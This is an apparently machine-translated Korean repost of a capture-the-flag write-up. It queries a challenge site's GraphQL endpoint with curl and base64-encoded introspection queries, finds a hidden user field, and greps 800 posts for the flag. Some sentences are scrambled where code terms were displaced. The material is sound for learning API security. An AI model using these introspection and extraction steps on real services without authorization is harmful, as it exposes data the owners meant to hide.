GraphQL 인트로스펙션의 재미
챌린지 웹 페이지에 액세스하면 블로그 게시물을 가져오는 jQuery 스크립트를 찾을 수 있습니다.
var arr = document.URL.match(/article=([0-9]+)/)
var article = arr[1];
if (article >= 0) {
console.log(article);
var request = $.ajax({
method: "POST",
dataType: "json",
url: "/query",
contentType: "application/x-www-form-urlencoded",
data: "query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAgICAgICAgICAgZWRnZXN7XG4gICAgICAgICAgICAgICAgICAgIG5vZGV7XG4gICAgICAgICAgICAgICAgICAgICAgICB0aXRsZVxuICAgICAgICAgICAgICAgICAgICBib2R5XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgIn0=",
success: function(response) {
document.getElementById("title").innerHTML = response.data.allPosts.edges[article].node.title;
document.getElementById("content").innerHTML = response.data.allPosts.edges[article].node.body;
}
})
POST 요청의 데이터 부분을 디코딩하고 불필요한 모든 노이즈(공백, 줄 바꿈..)를 제거하면 이 쿼리가 표시됩니다.
{"query":"{allPosts{edges{node{title\nbody}}}}"}
브라우저와 서버 간의 HTTP 트래픽에 대한 추가 분석은 이 요청이
query
끝점을 통해 모든 블로그 게시물을 가져온 다음 /article=1
와 같이 기사 매개변수가 가리키는 게시물만 표시한다는 것을 보여줍니다. #classicGraphQL그리고 여기에 모든 게시물(또는
curl
s)을 가져오기 위한 node
요청이 있습니다.$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle3RpdGxlXG5ib2R5fX19fSJ9' | jq '.data.allPosts.edges[0:2]'
[
{
"node": {
"title": "Day #0 of happines!",
"body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
}
},
{
"node": {
"title": "Day #1 of happines!",
"body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
}
}
]
article=0
에 대해 동일한 형식과 article=799
에 대해 동일한 내용을 가진 800개의 게시물( title
~ body
)이 있으며 정상적인 요청의 플래그 표시는 분명히 없습니다.나는
node
및 title
이외의 body
객체에 무언가가 있기를 희망하면서 GraphQL 쿼리 [1][2]의 Introspection을 확인하기 위해 점프했습니다. . 그리고 여기 내가 깃발을 향해 걸은 단계가 있습니다.1단계.
type
에서 모든 __schema
를 확인하면 확인할 이름이 지정됩니다PostObject
.{"query":"{__schema{types{name}}}"}
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1lfX19In0='
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"PostObjectConnection"},{"name":"PageInfo"},{"name":"Boolean"},{"name":"String"},{"name":"PostObjectEdge"},{"name":"PostObject"},{"name":"Int"},{"name":"UserObject"},{"name":"UserObjectConnection"},{"name":"UserObjectEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
2단계.
fields
유형의 모든 PostObject
를 확인하면 filed
이름 목록이 제공됩니다.{"query":"{__type(name:\"PostObject\"){name\nfields{name}}}"}
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='
{"data":{"__type":{"name":"PostObject","fields":[{"name":"id"},{"name":"title"},{"name":"body"},{"name":"authorId"},{"name":"author"}]}}}
3단계.
id
및 authorID
title
및 body
처럼 특별한 다이빙을 하지 마십시오. 그러나 author
는 다른 유형인 UserObject
이며 흥미롭게 보입니다.4단계.
fields
유형의 모든 UserObject
를 확인하면 randomStr1ngtoInduc3P4in
라는 흥미로운 필드가 제공됩니다.{"query":"{__type(name:\"UserObject\"){name\nfields{name}}}"}
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='
{"data":{"__type":{"name":"UserObject","fields":[{"name":"id"},{"name":"name"},{"name":"email"},{"name":"randomStr1ngtoInduc3P4in"},{"name":"posts"}]}}}
5단계.
randomStr1ngtoInduc3P4in
플래그 형식의 문자열을 제공하지만 원하는 플래그는 아닙니다. 그리고 800개 중에서 맞는 것을 찾아야 할 것 같습니다.{"query":"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"}
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges[0:2]'
[
{
"node": {
"author": {
"randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
}
}
},
{
"node": {
"author": {
"randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
}
}
}
]
6단계.
grep
플래그를 찾았습니다.$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges' | grep -E -o 'ECSC{.*}' | grep -v 'harder'
ECSC{b8e9be2eb35748a0aa...}
[1] https://graphql.org/learn/introspection/
[2] https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/
Reference
이 문제에 관하여(GraphQL 인트로스펙션의 재미), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/hardword/fun-with-graphql-introspection-2lbe텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)